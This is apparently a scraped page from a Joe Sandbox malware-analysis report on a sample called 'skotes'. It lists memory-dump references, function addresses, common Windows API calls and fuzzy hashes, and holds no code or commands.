Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 2e1c2f63f1dca85d4d5b906224fc2c607698e85ae1e0098b71d183397e7be46f
Instruction ID: a11aa38a36c27fc738293076cee87f60eb1566b859dd0f5062cc7bc8e0040e51
Opcode Fuzzy Hash: 2e1c2f63f1dca85d4d5b906224fc2c607698e85ae1e0098b71d183397e7be46f
Instruction Fuzzy Hash: E8D012707C0328B6F22112202C0BF26AA209B0AF10F658842B3483F0D081E8300046A8

Function 00718380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00718524

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: fea740a908e0d77670f685d19dcd3f8ddb2920d0bfc217c99fb538b0464efc27
Instruction ID: 9595de04267848b8f6bfe527b001fc43ea297ecb5fa8c6018fd6c7183a58f6f2
Opcode Fuzzy Hash: fea740a908e0d77670f685d19dcd3f8ddb2920d0bfc217c99fb538b0464efc27
Instruction Fuzzy Hash: A151F470D00258DBDB24EF6CDD897DDB775DB45314F504298E818A72C2EF389AD48B92

Function 00747124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,0074705B,?,?,00000000,00000000), ref: 00747166

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 889c61cc7ec7ba9e32ae6e6082e37ce2a820967d63abbc52308963e7d20bbe5e
Instruction ID: ccd2504a579ee8222e08abb92220785df4b5ccb87bbb14c2c7f117a4e19b0fcc
Opcode Fuzzy Hash: 889c61cc7ec7ba9e32ae6e6082e37ce2a820967d63abbc52308963e7d20bbe5e
Instruction Fuzzy Hash: A5112AB290410CABDB14DE94C985EDFB7BDAF48310F205262E512E2180FB34EA49CB61

Function 0074AC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0074AC8D

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 51dca12f208d023496a772933a0c6063e10177ade98561f72d3386654c0ceda4
Instruction ID: d4166fc2eeb5d02c8f93f48900a37c34327270f6fd551ed9fb4aea44b5e33dbd
Opcode Fuzzy Hash: 51dca12f208d023496a772933a0c6063e10177ade98561f72d3386654c0ceda4
Instruction Fuzzy Hash: 3A111571A0420AAFDB06DF58E945A9A7BF4EF48304F048069F809AB351D774EE25CB65

Function 0074D82F Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0074A813,00000001,00000364,00000006,000000FF,?,0072D3FC,3936CCF5,?,00727A8B,?), ref: 0074D871

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6af617193348fb78152e29eb582dfa8fb9c811ed94e05770c16fed03b6951d55
Instruction ID: 55569d91597d4b563289fbe78bb41e74c3cb75ed6e12ec67e4b4249cca2da235
Opcode Fuzzy Hash: 6af617193348fb78152e29eb582dfa8fb9c811ed94e05770c16fed03b6951d55
Instruction Fuzzy Hash: D6F02732601224A7EF313A729C05B7B775CDF957B0B198021FD88AB181EB3CDC4086E0

Function 0074B04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,3936CCF5,?,?,0072D3FC,3936CCF5,?,00727A8B,?,?,?,?,?,?,00717465,?), ref: 0074B07E

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: bb42375790c6d06d8670aa361d5815a2fcd2f1b77ebe54492dd96736313da37d
Instruction ID: 3b06ef3686a0ba9ac0c714fa8bcbb9e6bd9a3f30767a49c7d22d0c91b3b3659f
Opcode Fuzzy Hash: bb42375790c6d06d8670aa361d5815a2fcd2f1b77ebe54492dd96736313da37d
